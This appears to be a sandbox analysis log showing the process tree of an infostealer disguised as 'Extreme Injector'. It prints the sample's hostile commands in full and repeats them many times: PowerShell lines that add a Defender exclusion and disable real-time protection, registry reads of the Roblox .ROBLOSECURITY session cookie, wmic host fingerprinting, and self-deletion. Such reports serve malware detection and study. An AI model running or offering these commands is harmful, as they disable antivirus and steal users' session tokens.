        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        56⤵
        
        PID:1136
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        57⤵
        
        PID:2244
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        58⤵
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        59⤵
        
        PID:1760
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        60⤵
        
        PID:2500
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        61⤵
        
        PID:2472
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        62⤵
        
        PID:2672
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        63⤵
        
        PID:1308
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        64⤵
        
        PID:108
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        65⤵
        
        PID:1840
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        66⤵
        
        PID:1936
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        67⤵
        
        PID:2860
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        68⤵
        
        PID:1576
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        69⤵
        
        PID:1628
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        70⤵
        
        PID:900
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        71⤵
        
        PID:2600
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        72⤵
        
        PID:2828
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        72⤵
        
        PID:1248
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        71⤵
        
        PID:2688
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        70⤵
        
        PID:2156
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        69⤵
        Drops file in Drivers directory
        
        PID:2776
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        70⤵
        Views/modifies file attributes
        
        PID:1428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        70⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        70⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        70⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        70⤵
        
        PID:2284
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        70⤵
        
        PID:2696
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        70⤵
        
        PID:2160
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        70⤵
        
        PID:1088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        70⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2676
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        68⤵
        
        PID:2600
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        67⤵
        
        PID:2564
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        66⤵
        Drops file in Drivers directory
        
        PID:3020
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        67⤵
        Views/modifies file attributes
        
        PID:2436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        67⤵
        
        PID:1612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        67⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        67⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        67⤵
        
        PID:3040
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        67⤵
        
        PID:2212
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        67⤵
        
        PID:324
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        67⤵
        
        PID:2320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        67⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1632
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        67⤵
        Detects videocard installed
        
        PID:1572
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        67⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2004
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        68⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2748
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        65⤵
        Executes dropped EXE
        
        PID:1396
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        64⤵
        Executes dropped EXE
        
        PID:316
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        63⤵
        Executes dropped EXE
        
        PID:3060
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        62⤵
        Executes dropped EXE
        
        PID:1240
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        61⤵
        Executes dropped EXE
        
        PID:1004
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        60⤵
        Executes dropped EXE
        
        PID:2704
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        59⤵
        Executes dropped EXE
        
        PID:2952
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        58⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:1780
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        59⤵
        Views/modifies file attributes
        
        PID:1728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        59⤵
        
        PID:3036
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        59⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        59⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        59⤵
        
        PID:2236
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        59⤵
        
        PID:1572
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        59⤵
        
        PID:308
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        59⤵
        
        PID:868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        59⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2036
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        59⤵
        Detects videocard installed
        
        PID:2064
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        59⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2356
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        60⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        57⤵
        Executes dropped EXE
        
        PID:1820
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        56⤵
        Executes dropped EXE
        
        PID:2852
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        55⤵
        Executes dropped EXE
        
        PID:2672
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        54⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:2344
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        55⤵
        Views/modifies file attributes
        
        PID:2276
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        55⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        55⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        55⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        55⤵
        
        PID:760
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        55⤵
        
        PID:2464
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        55⤵
        
        PID:1664
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        55⤵
        
        PID:2764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        55⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1560
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        55⤵
        Detects videocard installed
        
        PID:792
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        55⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2616
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        56⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1512
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        53⤵
        Executes dropped EXE
        
        PID:1324
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        52⤵
        Executes dropped EXE
        
        PID:688
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        51⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:2324
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        52⤵
        Views/modifies file attributes
        
        PID:2660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        52⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        52⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        52⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        52⤵
        
        PID:2964
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        52⤵
        
        PID:1940
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        52⤵
        
        PID:2824
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        52⤵
        
        PID:2352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        52⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2260
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        52⤵
        Detects videocard installed
        
        PID:1444
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        52⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:1044
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        53⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        50⤵
        Executes dropped EXE
        
        PID:1548
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        49⤵
        Executes dropped EXE
        
        PID:2716
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        48⤵
        Executes dropped EXE
        
        PID:1580
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        47⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:2992
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        48⤵
        Views/modifies file attributes
        
        PID:896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        48⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        48⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        48⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        48⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2164
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        48⤵
        
        PID:2996
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        48⤵
        
        PID:1436
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        48⤵
        
        PID:1568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        48⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1980
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        48⤵
        Detects videocard installed
        
        PID:1676
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        48⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:1692
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        49⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2476
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        46⤵
        Executes dropped EXE
        
        PID:2764
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        45⤵
        Executes dropped EXE
        
        PID:2920
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        44⤵
        Executes dropped EXE
        
        PID:3040
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        43⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:1796
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        44⤵
        Views/modifies file attributes
        
        PID:2004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        44⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        44⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        44⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        44⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2996
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        44⤵
        
        PID:1044
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        44⤵
        
        PID:2224
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        44⤵
        
        PID:2012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        44⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2812
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        44⤵
        Detects videocard installed
        
        PID:612
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        44⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3044
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        45⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        42⤵
        Executes dropped EXE
        
        PID:1056
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        41⤵
        Executes dropped EXE
        
        PID:2772
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        40⤵
        Executes dropped EXE
        
        PID:2972
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        39⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:1712
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        40⤵
        Views/modifies file attributes
        
        PID:756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        40⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        40⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        40⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        40⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3008
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        40⤵
        
        PID:808
        
